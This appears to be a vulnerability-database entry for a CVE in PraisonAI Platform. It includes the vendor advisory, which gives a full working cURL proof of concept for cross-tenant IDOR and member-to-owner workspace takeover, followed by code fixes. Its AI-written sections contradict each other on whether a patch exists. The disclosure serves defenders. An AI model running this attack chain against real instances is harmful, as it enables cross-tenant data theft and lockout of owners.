Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconRegister or accept invite to any workspace
-
DeliveryObtain target issue/project UUID
-
ExploitSend GET/PATCH/DELETE to /workspaces/{own_ws}/issues/{victim_uuid}
-
InstallExfiltrate or tamper cross-tenant data
-
C2PATCH /workspaces/{target_ws}/members/{self} role=owner
-
ExecuteDELETE original owner
-
ImpactSole ownership of target workspace
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
|
| Exploitation Conditions | Attacker must hold a valid authenticated session on the PraisonAI Platform instance - any account with membership in any single workspace is sufficient (PR:L). For the IDOR half, the attacker also needs the UUID of a target issue or project, which can be obtained through enumeration, leaked URLs, or prior access. For the workspace-takeover half, the attacker must already be a member (any role, including the lowest "member" role) of the specific workspace they want to take over; the platform's default member-management routes use min_role="member" and lack self-modification, upward-escalation, and last-owner guards. No user interaction by the victim is required, no non-default configuration is needed (the PoC explicitly states "default configuration, no special configuration required"), and the attack works against any reachable instance over HTTP(S). Limiting factors: unauthenticated outsiders cannot exploit either flaw, and workspace takeover specifically requires that the attacker has already been invited to the target workspace. |
| Impact | CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the real-world risk: network-reachable API, low complexity, only a low-privilege authenticated account (any workspace member) required, no user interaction, and full CIA impact across tenants. EPSS and KEV signals were not provided in the input, so probability of mass exploitation cannot be quantified, but no public exploit identified at time of analysis beyond the advisory PoC. The decisive risk factor is the multi-tenant nature of the product - any SaaS deployment of praisonai-platform that hosts more than one customer or team in the same instance should treat this as a priority-1 issue, while single-tenant self-hosted instances where every authenticated user is already trusted face materially lower exposure. The PR:L requirement is the main limiter, but on platforms with open registration or generous invite flows it is effectively no barrier. |
| Exploit ScenarioDerived | An attacker registers any account on a shared PraisonAI Platform instance (or accepts a member invite to any single workspace), enumerates or guesses an issue/project UUID belonging to another tenant, and issues GET/PATCH/DELETE against /api/v1/workspaces/{their_own_ws_id}/issues/{victim_issue_id} to read or tamper with confidential data across the tenant boundary. If they additionally hold any member-level invite to a target workspace, they PATCH /workspaces/{ws}/members/{their_id} with {"role":"owner"}, then DELETE the original owner, locking the legitimate owner out. The advisory ships a complete working cURL PoC for both halves of the chain. |
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Alert meAnalysisAIv1 – May 29, 2026
Cross-workspace IDOR and member-to-owner privilege escalation in PraisonAI Platform API (pip package praisonai-platform <= 0.1.2) lets any authenticated user read, modify, and delete issues and projects belonging to other tenants, and lets any workspace member promote themselves to owner and evict the legitimate owner. The two flaws chain together: a single member-level invite to any workspace becomes platform-wide data access plus full takeover of any workspace the attacker is added to. No public exploit identified at time of analysis beyond the detailed PoC published in the GHSA advisory, and the issue is not in CISA KEV.
RemediationAI
Vendor-released patch: upgrade praisonai-platform to 0.1.4 or later (pip install -U praisonai-platform>=0.1.4), per the GHSA advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62. If immediate upgrade is not possible, apply the maintainer-suggested code fixes locally: scope IssueService and ProjectService get/update/delete to workspace_id by adding an issue.workspace_id != workspace_id check after session.get, pass workspace_id from the routes into those service calls, and change the member-management routes in workspaces.py to depend on require_workspace_member with min_role="owner" plus explicit self-modification and last-owner guards. As a compensating control until patched, restrict the API to trusted internal users only (network ACL or auth proxy in front of /api/v1), disable open user registration on /auth/register, and freeze workspace invitations so no new low-privilege members can be added - the trade-off is loss of self-service onboarding and any legitimate cross-tenant collaboration. Audit existing issues, projects, and workspace membership/role rows for unexpected modifications before re-opening access.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI Platform is a Python/FastAPI multi-tenant SaaS-style backend (CPE pkg:pip/praisonai-platform) where tenancy is enforced at the route layer through a require_workspace_member dependency that extracts workspace_id from the URL and verifies membership. The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): IssueService.get/update/delete and ProjectService.get/update/delete/get_stats call SQLAlchemy session.get(Model, pk), a global primary-key lookup with no WHERE workspace_id filter, so the workspace path parameter is decorative. Compounding this, the same require_workspace_member dependency exposes a min_role parameter with a working owner > admin > member hierarchy in MemberService.has_role, but every member-management route in workspaces.py uses the default min_role="member" and omits self-modification, upward-escalation, modifying-superiors, and last-owner guards.
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Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
DescriptionCVE.org
Summary
The PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires min_role="member", which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.
Both issues come from the same gap: the route layer pulls workspace_id from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The require_workspace_member() dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.
Details
Part 1: Cross-Workspace IDOR (Issues and Projects)
Vulnerable Files:
praisonai_platform/services/issue_service.pypraisonai_platform/services/project_service.pypraisonai_platform/api/routes/issues.pypraisonai_platform/api/routes/projects.py
There is a consistent split between the route layer and the service layer. Routes pull workspace_id from the URL and verify membership:
GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
^^^^^^^^^^^^^^
require_workspace_member() checks thisBut the service methods these routes call perform global lookups that ignore workspace_id entirely:
IssueService.get(), line 72:
async def get(self, issue_id: str) -> Optional[Issue]:
"""Get issue by ID."""
return await self._session.get(Issue, issue_id)ProjectService.get(), line 47:
async def get(self, project_id: str) -> Optional[Project]:
"""Get project by ID."""
return await self._session.get(Project, project_id)Both use session.get(Model, pk), which is a global lookup by primary key with no WHERE workspace_id = ? filter.
Compare that with the properly scoped list_for_workspace() methods in the same files:
IssueService.list_for_workspace(), line 76:
async def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:
stmt = select(Issue).where(Issue.workspace_id == workspace_id)
# ... properly scopedThe listing is scoped correctly. The get, update, and delete methods are not. Since update() and delete() in both services call self.get() internally, the workspace bypass cascades through all write operations too.
Route that discards workspace_id, issues.py line 82:
@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
workspace_id: str,
# Extracted from URL
issue_id: str,
user: AuthIdentity = Depends(require_workspace_member),
# Membership verified
session: AsyncSession = Depends(get_db),
):
svc = IssueService(session)
issue = await svc.get(issue_id)
# workspace_id never passed to serviceAll affected operations:
| Service | Method | Line | Workspace scoped? |
|---|---|---|---|
| IssueService | get() | 72 | No, uses session.get(Issue, issue_id) |
| IssueService | update() | 97 | No, calls self.get(issue_id) |
| IssueService | delete() | 150 | No, calls self.get(issue_id) |
| IssueService | list_for_workspace() | 76 | Yes, filters by workspace_id |
| ProjectService | get() | 47 | No, uses session.get(Project, project_id) |
| ProjectService | update() | 62 | No, calls self.get(project_id) |
| ProjectService | delete() | 88 | No, calls self.get(project_id) |
| ProjectService | get_stats() | 97 | No, only filters by project_id |
| ProjectService | list_for_workspace() | 51 | Yes, filters by workspace_id |
Part 2: Workspace Takeover via Missing Role Enforcement
Vulnerable Files:
praisonai_platform/api/routes/workspaces.py(member management routes)praisonai_platform/api/deps.py(authorization dependency)praisonai_platform/services/member_service.py(role hierarchy implementation)
The authorization dependency supports role-based access:
require_workspace_member(), deps.py line 54:
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
# Accepts higher roles, but nobody passes them
) -> AuthIdentity:
member_svc = MemberService(session)
has = await member_svc.has_role(workspace_id, user.id, min_role)
if not has:
raise HTTPException(status_code=403, ...)The has_role() method correctly implements role hierarchy:
MemberService.has_role(), member_service.py line 80:
async def has_role(self, workspace_id, user_id, required_role) -> bool:
"""Role hierarchy: owner > admin > member."""
member = await self.get(workspace_id, user_id)
if member is None:
return False
role_levels = {"owner": 3, "admin": 2, "member": 1}
user_level = role_levels.get(member.role, 0)
required_level = role_levels.get(required_role, 0)
return user_level >= required_levelThis works correctly, but no route ever calls require_workspace_member with min_role="owner" or min_role="admin". Every member management route uses the default "member":
Self-promotion, workspaces.py line 115:
@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
workspace_id: str,
user_id: str,
body: MemberUpdate,
user: AuthIdentity = Depends(require_workspace_member),
# min_role="member"
session: AsyncSession = Depends(get_db),
):
member_svc = MemberService(session)
member = await member_svc.update_role(workspace_id, user_id, body.role)
# No check: is user modifying their own role? (self-promotion)
# No check: is body.role > caller's current role? (escalation)
# No check: is target a higher role than caller? (modifying superiors)Owner removal, workspaces.py line 130:
@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
async def remove_member(
workspace_id: str,
user_id: str,
user: AuthIdentity = Depends(require_workspace_member),
# min_role="member"
...
):
member_svc = MemberService(session)
removed = await member_svc.remove(workspace_id, user_id)
# No check: is target a higher role than caller?
# No check: is this the last owner?Three checks are missing from update_member_role: self-modification, upward escalation, and modifying superiors. Two checks are missing from remove_member: role hierarchy and last-owner protection.
PoC
Prerequisites:
- A running PraisonAI Platform instance with default configuration
- No special configuration required
Server setup:
cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
--factory --host 127.0.0.1 --port 8000Scenario: Full attack chain (IDOR + Privilege Escalation)
Step 1: Victim (CEO) creates workspace with sensitive data
BASE="http://127.0.0.1:8000/api/v1"
# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
-H "Content-Type: application/json" \
-d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-d '{"name":"Executive Board"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"Step 2: Attacker registers and creates their own workspace
ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ATK_TOKEN" \
-d '{"name":"Attacker WS"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace
curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
-H "Authorization: Bearer $ATK_TOKEN"Observed output (HTTP 200):
{
"id": "<ISSUE_ID>",
"workspace_id": "<VICTIM_WS>",
"title": "M&A Target List",
"description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
"status": "backlog"
}The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.
Step 4: IDOR - Attacker modifies victim's issue
curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ATK_TOKEN" \
-d '{"title":"TAMPERED - M&A Target List"}'Observed output (HTTP 200): Title updated across workspace boundary.
Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)
curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/nullStep 6: Privilege escalation - Member promotes self to owner
PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ATK_TOKEN" \
-d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"Observed output:
Role: ownerThe member used their own member-level token to promote themselves to owner.
Step 7: Privilege escalation - Attacker removes original owner
curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
"$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
-H "Authorization: Bearer $ATK_TOKEN"Observed output: HTTP 204 - CEO removed from their own workspace.
Step 8: Verify - Attacker is sole owner
curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
-H "Authorization: Bearer $ATK_TOKEN"Observed output:
[
{
"workspace_id": "<VICTIM_WS>",
"user_id": "<ATK_ID>",
"role": "owner"
}
]The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.
Impact
- Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (
/workspaces/{workspace_id}/...) implies tenant isolation but provides none. - Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
- Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
- Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
- No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
- Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.
---
Suggested Fix
1. Scope all service get/update/delete methods to workspace_id
# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
"""Get issue by ID, scoped to workspace."""
issue = await self._session.get(Issue, issue_id)
if issue is None or issue.workspace_id != workspace_id:
return None
return issue
# Apply the same pattern to update(), delete(), and all ProjectService methods2. Pass workspace_id from routes to services
# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)
# Now workspace-scoped3. Require owner role for member management and add escalation guards
# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
lambda **kw: require_workspace_member(**kw, min_role="owner")
)
# Add self-modification and last-owner guards:
if user_id == user.id:
raise HTTPException(403, "Cannot change your own role")
# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
if len(owners) <= 1:
raise HTTPException(403, "Cannot remove the last owner")Executive ViewAI
PraisonAI Platform (pip package praisonai-platform ≤ 0.1.2) contains a critical privilege escalation and cross-tenant IDOR vulnerability that allows any authenticated workspace member to promote themselves to owner and access data across all organizational tenants. Organizations using this package risk unauthorized data modification, deletion, and complete workspace takeover by insider threats or compromised user accounts.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Enforce role-based access controls to restrict workspace member permissions and disable member-to-owner promotion if platform supports administrative overrides; (2) Disable or strictly govern workspace user invitations to minimize attack surface; (3) Implement comprehensive audit logging of privilege escalation events and cross-workspace access attempts; (4) Monitor for suspicious administrative activities and unusual permission changes; (5) If platform is internet-exposed, implement network segmentation to limit lateral movement.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
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EUVD-2026-54685
GHSA-gv23-xrm3-8c62
NVD
CVE.org
EPSS
VulDB
Exploit-DB